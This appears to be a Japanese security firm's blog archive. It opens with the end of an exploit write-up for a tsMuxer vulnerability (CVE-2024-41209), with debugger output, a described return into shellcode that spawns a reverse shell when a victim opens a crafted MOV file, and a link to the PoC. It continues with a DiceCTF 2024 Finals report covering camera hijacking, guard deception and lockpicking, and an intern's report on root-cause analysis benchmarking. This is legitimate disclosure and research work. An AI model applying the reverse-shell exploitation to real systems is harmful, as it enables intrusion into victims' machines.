------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ stack ----
$rsp  0x000000901ec0|+0x0000|+000: 0x00000000007b0851 <fread_unlocked+0x51>  ->  0x41e0894c5d5bec89
      0x000000901ec8|+0x0008|+001: 0x0000000000901e40 <_IO_file_jumps_mmap+0xa0>  ->  0x0000000000735d00 <_IO_default_imbue>  ->  0x2e6666c3fa1e0ff3  <-  retaddr[1]
      0x000000901ed0|+0x0010|+002: 0x0000000000731c70 <_IO_file_read>  ->  0x70478b44fa1e0ff3  <-  retaddr[2]
      0x000000901ed8|+0x0018|+003: 0x0000000000731570 <_IO_new_file_write>  ->  0x89495541fa1e0ff3
      0x000000901ee0|+0x0020|+004: 0x0000000000730d10 <_IO_file_seek>  ->  0xe9707f8bfa1e0ff3
      0x000000901ee8|+0x0028|+005: 0x00000000007308f0 <_IO_file_close>  ->  0xe9707f8bfa1e0ff3
      0x000000901ef0|+0x0030|+006: 0x0000000000731550 <_IO_file_stat>  ->  0x8bf28948fa1e0ff3  <-  retaddr[3]
      0x000000901ef8|+0x0038|+007: 0x0000000000735cf0 <_IO_default_showmanyc>  ->  0xffffffb8fa1e0ff3  <-  retaddr[4]
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ code:x86:64 ----
    0x627785 b8ca000000          <__deallocate_stack+0xd5>   mov    eax, 0xca
    0x62778a 488d3d37fe2e00      <__deallocate_stack+0xda>   lea    rdi, [rip + 0x2efe37] # 0x9175c8 <stack_cache_lock>
    0x627791 0f05                <__deallocate_stack+0xe1>   syscall
 -> 0x627793 5d                  <__deallocate_stack+0xe3>   pop    rbp
    0x627794 c3                  <__deallocate_stack+0xe4>   ret
    0x627795 0f1f00              <__deallocate_stack+0xe5>   nop    DWORD PTR [rax]
    0x627798 488d3d29fe2e00      <__deallocate_stack+0xe8>   lea    rdi, [rip + 0x2efe29] # 0x9175c8 <stack_cache_lock>
    0x62779f e81cb70000          <__deallocate_stack+0xef>   call   0x632ec0 <__lll_lock_wait_private>
    0x6277a4 e924ffffff          <__deallocate_stack+0xf4>   jmp    0x6276cd <__deallocate_stack+0x1d>

gef> vmmap -n
[ Legend:  Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start              End                Size               Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000001000 0x0000000000000000 r-- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR
0x0000000000401000 0x00000000007d9000 0x00000000003d8000 0x0000000000001000 r-x /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR  <-  $rcx, $rip
0x00000000007d9000 0x00000000008ea000 0x0000000000111000 0x00000000003d9000 r-- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR  <-  $r13
0x00000000008ea000 0x00000000008fe000 0x0000000000014000 0x00000000004e9000 r-- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR
0x00000000008fe000 0x0000000000901000 0x0000000000003000 0x00000000004fd000 rw- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR  <-  $r14
0x0000000000901000 0x0000000000903000 0x0000000000002000 0x0000000000500000 rwx /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR  <-  $rsp, $rdi
0x0000000000903000 0x0000000000905000 0x0000000000002000 0x0000000000000000 rwx
0x0000000000905000 0x0000000000940000 0x000000000003b000 0x0000000000000000 rw- [heap]<tls-th1>  <-  $r8, $r10
0x00007ffff73c2000 0x00007ffff77f8000 0x0000000000436000 0x0000000000000000 rw-
0x00007ffff77f8000 0x00007ffff77f9000 0x0000000000001000 0x0000000000000000 ---
0x00007ffff77f9000 0x00007ffff7ff9000 0x0000000000800000 0x0000000000000000 rw- <tls-th2><stack-th2>
0x00007ffff7ff9000 0x00007ffff7ffd000 0x0000000000004000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000002000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack]  <-  $r9, $r15
0xffffffffff600000 0xffffffffff601000 0x0000000000001000 0x0000000000000000 --x [vsyscall]

後は、シェルコードを配置したメモリ領域にretするだけです。

1番目のステップで作成したシェルコードが実行され、execveによってリバースシェルが起動します。

最終的なエクスプロイトコードを以下に示します。

https://github.com/RICSecLab/exploit-poc-public/blob/main/CVE-2024-41209/exploit_final_poc.py

以下の画像は、 /bin/sh/ -c "id; date" をexecveシステムコールに渡して実行した結果です。文字列としてリバースシェルを起動するコマンド列を用意すれば、victimがクラフトされたMOVファイルを開いた際に、別のデバイスからvictimのシェルに接続できてしまいます。

任意コード実行の様子

まとめ

Fuzzerが発見したクラッシュを解析し、Exploitコードを開発するまでのプロセスを解説しました。

脆弱性の根本原因を特定し、最小のPoCを作成し、コード実行を実現するためのパズルを組み立てる思考の流れは、CTFのそれとも近く、とても楽しいものです。

本脆弱性の発見・報告と本記事の執筆に携わったArataとiwashiiraは、リチェルカセキュリティでパートタイマーとして働いています。当社には他にもバイナリ解析の領域で若い才能にお任せしたい業務がたくさんあります。この記事を読んで当社の取り組みにご興味を持った方は、ぜひカジュアル面談にお申し込みください。

Thursday, July 18, 2024

DiceCTF 2024 Finals 参加記

筆者:jptomoya, satoki

はじめに

6月29、30日の2日間にわたり、ハッキングコンテストDiceCTF 2024 Finalsがアメリカのニューヨークで開催されました。弊社メンバーが在籍するCTFチーム「BunkyoWesterns」は、予選に参加した1040チームのうち世界8位の順位で、国内唯一のチームとして決勝に出場しました。

DiceCTF 2024 Finals会場

リチェルカセキュリティの社員・アルバイトには、現役でCTFに取り組んでいるメンバーが多数在籍しています。CTFは多種多様な前提、制約、技術領域に触れる絶好の機会であり、業務遂行能力向上にも寄与します。弊社メンバーの自己研鑽を支援するため、渡航費を全額負担し、現地での活動費の一部もサポートしました。

本記事では、弊社メンバーがFinalsで担当したThe Vaultと呼ばれる物理ペンテスト問題、DiceGridと呼ばれるハードウェア構築問題、そして現地での生活をお伝えします。

 

DiceCTF 2024 Finals

DiceCTFは2021年度より5回開催されており、CTFプレイヤーの中では大変知名度のある大会です。一方でこれまで決勝大会の開催はなく、初めてのFinalsとなりました。今年は予選を勝ち抜いた8チームと米国の高校生4チームの計12チームが集結しました。

DiceCTF 2024 NYC

競技1日目は予選と同じJeopardyと呼ばれる形式でした。Crypto、Pwn、Rev、Webといったジャンルが出題され、各サービスの脆弱性を突いてフラグと呼ばれる秘密情報を奪取することでポイントが加算されます。所属チームでは問題の進捗をつぶさに確認できるよう、チャットで状況を把握できるようにしていました。
 

任意コード実行によりフラグを奪取した場面

初日のJeopardyでは全チーム中5位の好成績を収めました。ただし、他チームとのポイントも僅差であり、翌日の結果が最終順位に大きく寄与するため気が抜けません。

1日目 Jeopardyの結果

2日目に出題された問題の中から興味深かった問題を2つ紹介します。1つ目は物理ペンテスト問題 The Vault で、さながらスパイ映画のようなフィジカルセキュリティの能力が要求されました。2つ目は DiceGrid で、Attack&Defense (A&D) をハードウェアを用いて行う異色の問題でした。

 

物理ペンテスト問題 The Vault

物理ペンテスト問題では、実際に競技者が物理的な侵入を試みます。オフィスルームを模した部屋がCTF会場に準備されており、隣には部屋を監視する各種センサーをPCに映したモニタルームが用意されていました。

オフィスを模した部屋と監視カメラなどセンサーを映したPC

 この競技ではCTFの1日目にルールが配布されていました。ルールは全チーム共通です。

ルール全文
The assignment
Welcome, newest members of the heist team! Your very first job: recover the flag from the security guard’s office safe. Let’s say they operate security for a casino—very dice related.

Our plan
We know that the office contains a number of security measures. Three of them are known for sure: cameras, the presence of the guard themself, and physical locks on the box containing the flag. Recently, we’ve discovered that some components of the system may be vulnerable to attack. We believe it maybe be possible to
take over the camera feed shown to the monitoring room;
deceive the guard into leaving their post; and
manipulate or bypass the lock protecting the flag.
If it helps, our insider has noticed the guard checking their phone quite often—maybe this is relevant. We also discovered that the camera monitoring system was mistakenly exposed to the public at <https://vault-cameras.mc.ax/>. But we can’t seem to get the site working.

Execution
Luckily, the casino is closed today—so the guard and monitoring team have the day off. While there’s no use breaking in because the lockbox was removed, this is a great opportunity to explore the infrastructure and attempt some attacks while nobody is watching.

If this goes well, we can execute the operation tomorrow. But considering the schedules of security shifts outside the office, we have computed that the window for completing the heist is exactly ten minutes long. You get just one chance (and okay, one mulligan) to get this done.

A warning
Finally, recall that our heist team operates with a high level of internal secrecy for security reasons. We have many operations proceeding concurrently, and it is crucial that you neither interfere with other teams’ tasks nor observe them, no matter how curious you are. If we discover that any such activity has taken place, you will be immediately terminated.

Also, you may notice that some items in the security guard office are marked off with black tape. Our team firmly believes that tampering with such objects is extremely bad luck—so we require all members to heed instructions on tape and avoid fiddling with tainted items.

  

競技者は警備員の滞在するオフィスルームに忍び込み、ボックスから旗を取り出すことでポイントを獲得します。制限時間は10分です。オフィスには監視カメラ、警備員、物理的なロックの三つのセキュリティが導入されています。これらセキュリティに検知されるとポイントが減少してしまいす。

ルールから読み取れる競技者の目標は以下の3つです。

  • モニタルームに表示されるカメラ映像を乗っ取る
  • 警備員を騙してオフィス内から離れさせる
  • 旗を守るボックスの物理的なロックを突破する

また、カメラシステムは外部に露出している警備員が頻繁に電話をチェックしているといった2つのヒントと、カメラシステムのURLが競技者に渡されています。

 

カメラの乗っ取り

モニタルームに表示されるカメラに競技者が映り込むと、ポイントが減少してしまいます。これを防ぐためにカメラを乗っ取り、偽の映像に差し替える必要があります。

モニタールームの監視映像

カメラシステムは外部に露出しており、URLが競技者に渡されていることからWebアプリケーションの脆弱性をついて映像を差し替えることができると考えました。

チームメンバーのカメラ映像差し替えの試行


所属チームではidを切り替える脆弱性でカメラの映像を差し替える試行を重ねていましたが、侵入直前に乗っ取ることができていないことがわかり大きく減点されてしまいました。

 

警備員の排除

オフィスルームには警備員が常駐しており、侵入を目撃されてしまうとポイントが大きく損なわれます。そのため警備員を何らかの手法で排除しなければなりません。警備員が頻繁に電話をチェックしているとのヒントから、電話を用いて警備員に偽の連絡を行えばよいと予想できます。

暇を持て余す警備員 (運営)

所属チームではカメラ映像を差し替えることができませんでしたが、突破した他のチームによると、カメラの元の映像に火のエフェクトを付加することで火災であると誤認させ、警備員を避難させる手法が有効だったようです。想定された解法はカメラシステムから警備員の電話番号を入手し、緊急事態発生の電話をかけることで移動を促す手法だったようです。

 

物理ロックの突破

最後の関門は旗を守るボックスの物理的なロックを突破することです。

⚠日本では、ロックを開錠するための特殊な器具を正当な理由なく所持することは法律違反となりますので、絶対に行わないでください。当ブログの記事で紹介している内容は、海外で合法的に行われている事例に基づいています。

CTFの1日目から会場に複数種類の錠前と特殊な器具が設置されていました。これらで自由に練習を行い、翌日の本番に備えます。本番には練習用錠前のうち、いずれかの種類が使用されるため、すべてに対応できなくてはなりません。

 

複数種類の錠前

所属チームでは前日に十分に練習を積んだメンバーがオフィス侵入後のロックの突破を担当しました。練習では10秒程度で突破できていましたが、本番では焦りから開錠に手間取っていました。

 

特殊な器具を利用して物理鍵を突破する

隠されたセキュリティ

監視カメラ、警備員、物理的なロックの他に、ルールには記載されていない人感センサーが秘密裏に設置されていました。注意してみると光っていることが分かりますが、入り口からの死角に設置されているためほとんどのチームが検知されてしまっていたようです。

死角の人感センサー

The Valutでは、普段のCTFで経験することのない物理ペンテストということもあり大きく点数を失ってしまう結果となりました。一方で、カメラ映像の差し替えから、警備員を騙す手口、ロックの突破など様々な能力が要求されチームへの新たな刺激となりました。

 

ハードウェア構築問題 DiceGrid

DiceGridは、世界初のパワーエレクトロニクスCTFチャレンジと銘打って開催された、A&D形式の競技です。各チームは、直流24Vを交流24Vに変換するインバーター回路(SOURCE)を設計し、実際に組み上げて12チーム全体で共通の送電線に接続します。電圧品質の高さや、送電網への電力供給への貢献度に応じてポイントが得られます。同時に、各チームは負荷(LOAD)を電力網に接続する必要があり、電力を消費してしまうとペナルティとなります。安定して電力を供給しつつ、負荷を敵対的に変動させて電力網を混乱させることで、他のチームに電力を消費させることができるかを競う競技となります。

このような、直流電力を交流電力に変換して既存の電力網に接続できるようにする装置は、一般的にグリッド・タイ・インバーター(Grid Tie Inverter)と呼びます。身近なところでは太陽光発電システムなどで使われています。

スケジュールは以下の通りです。

  • 設計期間: 2024/6/19~2024/6/29 11:00
  • 構築期間: 2024/6/29 (1日目) 終日
  • テスト期間: 2024/6/30 (2日目) ~12:00ごろ
  • 運用期間: 2024/6/30 (2日目) ~12:00ごろ~2024/6/30 17:00

競技の概要は以下の通りです。

  • 各チームにはTEAM PANELと呼ばれるボードが配布され、SOURCEとLOADにそれぞれ回路を組み上げる
  • 直流24Vを正弦波の交流60Hz/24Vrmsに変換してSOURCEから供給する
  • マイクロコントローラはATtiny84がSOURCEとLOADで1個ずつ与えられ、好きなプログラムを書き込める
  • ATtiny84に接続されたSPIインタフェースを通して、SPIマスターであるパワーメーターから送信されるグリッド電圧・ローカル電圧・ローカル電流の情報が得られる
  • SOURCEから高品質な電力を供給できるとポイントを得られる。電源の品質は、THD (全高調波ひずみ率)や電圧の誤差の小ささで評価される
  • LOADやSOURCEを通して電力網から電力を消費するとペナルティ
  • 電圧と電流の位相角が±90度の範囲に収まっていないなど、故障と判定されるとチームはシャットダウンされる

各チームに配布されるTEAM PANEL

また、競技には以下のような制約がありました。

  • ATTiny84以外で持ち込んだプログラム可能なマイクロコントローラは利用できない
  • 市販のPWMインバータなど、既製品のモジュールは持ち込み禁止(事前に自作するのは可)
  • バッテリーを持ち込むなどして外部から電力を供給することは禁止

6月19日に競技の仕様が公開され、そこから回路の設計・試作が始まりました。しかし、出国まで1週間弱という短期間での準備は困難を極めました。PWMインバータに関する知見が少ない中での回路設計、部品調達、試作、マイコンのデバッグなど、課題は山積みでした。最終的に、ゲートドライバICとMOSFETを組み合わせたユニポーラ方式のインバータ回路をATtiny84からPWM制御する方式で競技に挑むことにしました。

特に苦労した点として、利用できるマイコンが8ビット、8MHz動作の非力なATTiny84のみであることに加え、利用できる機能に制限があったことが挙げられます。具体的には、自由に利用できるGPIOがPA0~PA3の4ピンのみでした。これらのピンではハードウェアPWM出力を利用できないため、ソフトウェアによるPWM制御を試みました。PWM出力以外の処理もある中で、8ビットマイコンですべてのプログラムを処理しきれるかどうかは未知数でした。

ソフトウェアPWM出力デバッグの様子。処理落ちのため歪な波形となっている。

 マイコンのプログラムは、正弦波PWM出力、SPI受信処理、位相検出・同期機能を実装する必要があります。SPI受信処理は、送信されるフレームの仕様がドキュメントに示されているものの、36bit長で8の倍数でないためSPIマスターの制作が一筋縄ではいかず、実際に受信できるかのデバッグが十分にできませんでした。

ホテルでの回路デバッグの様子。満足な設備がない中でのデバッグ作業は困難を極めた。

 また、試作回路のテストにも課題がありました。試作回路がグリッド・タイ・インバーターとして動作するかテストするために、同じものを2つ用意するか、商用電源を24Vに降圧したものに試作回路を接続してテストする必要があります。しかし、部品調達が満足にできていない状況かつ、商用電源で安全にテストするための準備はとても出発までに間に合いませんでした。

会場でDiceGrid用の回路を組み上げる様子

 SOURCE回路の制作でてんてこまいな状況の中、LOAD回路の方はブリッジダイオードで交流を直流に変換し、いくつか異なる抵抗をスイッチングできるような回路とし、なんとか競技で投入できる形にはなりました。

会場に設置された電力網。塔の両端に設置された電球がAC24Vで光っている。
 

実際に競技で使用した回路

CTF当日ギリギリまでマイコンのデバッグは続き、なんとかそれらしい波形が出力されるところまでこぎ着けました。

競技中に波形の出力を確認する様子

このようにDiceGridは、一般的なCTFで馴染みの薄いパワーエレクトロニクスの知識と実装力が求められる競技でした。電力供給と消費を競う競技は、コンセプトとしては非常に興味深いですが、やはり設計期間が10日弱しかなかったのは他のチームも苦戦を強いられたようです。

 

現地生活

CTFの終了後にはチーム全員でニューヨークの街に繰り出しました。移動中に本戦の問題の振り返りを行っている姿は少し奇妙だったかもしれません。夕食はニューヨークで有名なステーキハウスで祝賀会を行いました。

キーンズ ステーキハウス

夕食後にはエンパイア・ステート・ビルディングに登り、102階からの夜景をチームの全員で体験しました。

エンパイア・ステート・ビルディングからの眺め

 他チームのハッカーとの交流を目的として、同じく本戦に進出していた「P1G SEKAI」や「thehackerscrew」のメンバーと自由の女神も観光しました。

自由の女神とハッカーたち

おわりに

惜しくも23ポイント差で入賞を逃し4位という結果になりました。DiceGridでは回路の出来が評価されたのか1位を獲得することができました。物理ペンテストやハードウェアの構築といった海外のCTFならではのジャンルに、チームメンバー全員が各自の得意分野を生かして取り組めた印象です。

競技終了後の写真

これからもリチェルカセキュリティでは、社員・アルバイトの方の自己研鑽のための諸経費を支援する予定です。新しい仲間も募集しているので、興味のある方はぜひお気軽にお問い合わせください。

DiceCTF 2024 Finalsで共に戦ってくれた社員の方々、そして協力してくださったチームのメンバーの方々、ありがとうございました!DiceCTF 2025でお会いしましょう👋
 

Tuesday, October 31, 2023

インターン参加記:脆弱性の原因特定の自動化

著者: 西村 啓佑

はじめまして.リチェルカセキュリティの研究開発課でインターンシップをしておりました西村啓佑です.就労時は東京大学の修士学生をしていました.

本記事では,インターン中におこなった「バグ・脆弱性のRoot Cause検出手法の評価」に関する研究および,私が携わった研究成果の発表(@ Binary Analysis Research 2023)の様子をご紹介します.

Root Cause の検出と評価

Root Causeとは

あるバグについて「そのバグを引き起こす原因」をRoot Causeと呼称します.詳細なRoot Causeが判明することで,デバッグのサポートや,脆弱性に対して重要度に順位付けを行うトリアージが可能になります.実際,ソフトウェアエンジニアリングやセキュリティの文脈で,様々な研究が行われてきました(次の章ではセキュリティ分野でのRoot Cause 検出を行う研究の例を2つご紹介します).

手始めに,具体的なRoot Causeの例を見てみましょう.次の例は我々の発表した論文からの引用で,CVE-2016-10094の原因になったLibTIFFに存在するバグに関するものです.このバグでは特定の関数のうち,countが4になっている場合のみにoff-by-one errorが生じます.以下がその例と修正パッチです.今回の場合,Root Cause(の場所)は修正箇所になっているif文と考えるのが自然でしょう.詳しくいうなら「当該行においてcount == 4の場合を含めていない」ことといえます.

Root Causeを指摘することの難しさを示す、別の例を見てみましょう.以下に提示するのはLibjpegに存在するCVE-2017-15232の原因となったバグで,以下のListing 2のようなパッチが当てられています.このバグでは output_buf がNULLかつ num_rows が非ゼロである場合にfor ループ内で問題が生じます.したがって,そのような場合の条件チェックとその例外処理を挿入する必要がありました.では,この Root Cause の 場所 はどこでしょうか?(forループ内で num_rows と output_buf が変更されないとして)性能面や一般的な感覚では,forループの前でチェックするのが妥当でしょう.しかしながら,forループ内部でチェックしてもこのバグが修正可能であるため,Listing 3の修正箇所がRoot Causeの場所であるという考え方もできます.

これらの例からわかるように,Root Causeの必要十分な指摘は非常にやっかいです.例えば条件のチェック忘れが問題だとしても,その問題が起きている場所としては様々な候補があるかもしれません.また,その候補となる場所ごとに,条件の表面的な内容も変わるかもしれません.

上記のような背景もあり,我々の知る限りRoot Causeに対するフォーマルな定義はありません.文脈毎に「原因」の捉え方が変わるために,ある一つのバグに対するRoot Causeといっても様々な答え方が考えられます.例えば,あるソースコード中の基本ブロックの指摘を Root Causeとする研究もありますし(特にBug Localizationと呼ばれる),さらに突っ込んで「この変数の値が0未満になること」というレベルで原因推定が求められることもあります.とはいえ,多くの関連研究では半自動的にRoot Causeを扱う(特に場所を検出する)ことに焦点がおかれています.

Root Cause検出手法

この章では,最近のセキュリティの会議に発表されたRoot Causeを推定する手法を2つピックアップしてご紹介します.

1つ目の研究は2020年のUSENIX Securityで発表された”AURORA: Statistical Crash Analysis for Automated Root Cause Explanation”です.この研究で提案されたAuroraという手法は,次のようにRoot Causeの推定を行います:

  1. プログラム自身とクラッシュを起こす入力を受理
  2. その入力をもとにAFLでファジングを行い,様々なコードパスを通る入力を生成
  3. 生成された大量のクラッシュを起こす入力および起こさない入力を比較
  4. 統計的に (1)Root Causeの場所 + (2)その場所で問題となる条件 (例: file.c の10行目である変数の値が42以上) の組み合わせの妥当性を推論(妥当さのスコアを計算)
  5. (1),(2)の組み合わせのうち,打倒さのスコアが閾値を超えるRoot Cause候補を妥当な順番に出力

この手法の評価では,実際のバグや脆弱性に対してAuroraを適用し,「推論結果の出力の上位にRoot Causeが含まれているか?」を計算しています.なお,この評価においてファジングにかける時間は2時間となっていました.

2つ目の研究は2021年のAsia CCSにて発表された“Localizing Vulnerabilities Statistically From One Exploit”です.この研究ではVulnLocという手法を提案しており,Auroraと似た方法でRoot Causeの推論を行います.ただし,Auroraとの大きな違いは次の3つです.

  • ファジングの際に,シードのクラッシュと近いコードパスを通りやすいような入力を生成(この論文で提案された手法で,ConcFuzz (Concentrated Fuzzing) という名前がついている)
  • Predicateを使わず,Root Causeの場所のみを候補として出力
  • 統計的に妥当そうなRoot Causeにスコアを与える際の計算式

なお,この論文での評価もAurora同様著者らがピックアップしたいくつかの脆弱性に対してVulnLocを適用しています.そして,その出力の上位にRoot Causeが存在するかどうかを確認しています.

この2つの研究には以下の共通点があります:

(a) プログラムの構造

  1. 入力として,プログラムとクラッシュを起こす入力を受理
  2. クラッシュを起こす入力をシードに,多数の入力をファジングで生成
  3. 多くの入力とプログラムから,統計的に正しそうなRoot Cause候補を出力

(b) バグの場所を(少なくとも)ソースコードレベルで指摘

(c) 評価には著者らが選んだCVE付きのバグなどを使用し,一定時間動作させた結果にRoot Causeが含まれるか確認

我々が調べた限り,上記の構造は多くの類似研究で確認できました.

研究成果: RCABenchの開発と評価

我々はRCABenchというRoot Causeの推定手法に対するベンチマークの開発と,それを用いた既存研究の評価(特に上述の2つの研究)を行いました.ベンチマークの作成にあたり,既存研究の調査やRoot Causeの実例に対する検討を重ね,既存の評価についてざっくり次のような課題があることを指摘し,解決を提示しています.

  1. Root Causeの定義が曖昧である点 → 必要十分な定義を与えることがほとんど困難であるため,多くの実例を含むオープンなベンチマークを作成した.ベンチマークは様々な種類のバグを含み,それぞれに予め正解となるRoot Causeの位置をソースコードレベルで定義した.
  2. Root Cause推定手法には「ファジングで入力を増や」し「多くの例からRoot Causeを推定」するという2ステップがあり,それぞれの評価が必要である点 → ステップを2つに分けるためのインターフェースを定義し,AuroraとVulnLocを分離しそれぞれを組み合わせて評価できるようにした.
  3. 特にファジングで入力を増やす際に,時間やシードへの依存性やランダムさを含めた評価が必要である点 → このような変動要因を考慮した評価を行えるようベンチマークを設計した.さらにコンフィグファイルなどでそれらを考慮した実験を行う管理システムを設計した.

このような視点の元に作成したRCABenchを用いて,既存のRoot Cause解析手法の再評価を行ってみました.結果として,例えば次のような発見がありました.

  • 「我々が定義したRoot Causeの場所」と論文中の評価で使用されたRoot Causeの場所が異なり,推定の結果が論文の主張とやや異なることがあった.そのため,Root Causeの場所が公開された標準的なベンチマークによる評価が必要.
  • ファジングと統計的な推定手法に分離して評価することで,より詳しいRoot Causeの推定手法の比較が可能になった.また,各バグごとに,最も性能が良かったファジングと推定手法の組み合わせは異なった.
  • 従来の評価であまり気にしていなかった,ファジングの時間などの要素が結果に影響を与えた.そのため,新規手法の提案では,影響を与えうる様々な要素を考慮した評価が必要.
    • 「ファジングに時間をかければ推定の性能も向上」するとは限らなかった.
    • ファジングのランダム性により,同じ実験でも大きく異なる推定結果が得られることもあった.

RCABench の発表 @ BAR 2023

BARの概要と投稿

Binary Analysis Research (BAR) はNDSSというセキュリティの学会の併設ワークショップです.NDSSは,ビックフォーと呼ばれる情報セキュリティに関する著名でレベルの高い学会・論文誌の一つです.BARは本会議であるNDSSが終わった次の日に別のワークショップとまとめて開催されるため,本会議関係者も多く参加することが見込まれます.そのため,このワークショップで発表することで質の高いフィードバックを得ることができると考えました.

BARでは,バイナリ解析に関する諸技術を幅広く扱います.これはRCABenchの研究のテーマと合致していました.またワークショップということで,完全には終わっていない研究の発表とそのフィードバックを得るという目的に適しています.このような観点から,当ワークショップに狙いを定めて研究を進め,この成果を論文化して正月明けに投稿しました.結果として,論文はアクセプトされたためBAR 2023での発表が決まりました.

旅程・発表

結果の通知がワークショップ開催日の直前だったため,急いでサンディエゴ行きの飛行機(LCCではなくUnited航空を使わせてもらえた)とホテルを予約しました.飛行機往復とホテル代は100%会社に負担してもらいました.

幸いにもNDSSが開催されたホテルが空いており(USENIX参加者が受ける割引の期間は過ぎていたが),そちらに宿泊することができました.サンディエゴのビーチに面した雰囲気の良いホテルで,リゾート気分を味わうことができ満足です.

 

このコテージに宿泊

近くのビーチ(あまりにもエモーショナル)

 
ワークショップでは,様々なトピックの発表がありました.個人的には,シンボリック実行と簡易的な学習を通じて,通信プロトコルの規則を推定する研究発表が面白かったです.

 

BARの発表会場(朝撮影したので,まだスカスカ)


さらに,我々が発表したRCABenchの研究がBest Paper Awardを獲得することができました!まさか受賞できるとは思っていなかったので,急いでチームメンバに連絡しました.

 

 


記念撮影

なお,以下のページでRCABenchを含むBAR2023にて発表された全ての論文を読むことができます.

https://www.ndss-symposium.org/ndss-program/bar-2023/

おわりに

リチェルカセキュリティでのインターンを通じて,Root Causeの推定に関する研究に初期から携わることができました.さらに主著として国際ワークショップに採択され,会社負担で海外の会議に参加することができました.非常に貴重で楽しい経験でした.

このように捗った理由としては研究環境の良さがあげられます.特に

  • 在宅(必要あれば出社して議論)可能
  • インターンであっても個人におおきな裁量を与えてもらえる
  • Slackなどで非常に技術力があるチームメンバと気軽にディスカッションもできる

などの要素は非常に価値があるものでした.研究室以外で研究をする経験としてもとても満足しています.同じチームメンバーの皆様,そしてインターンを通じて様々な支援をしてくださった社員の皆様,本当にありがとうございました.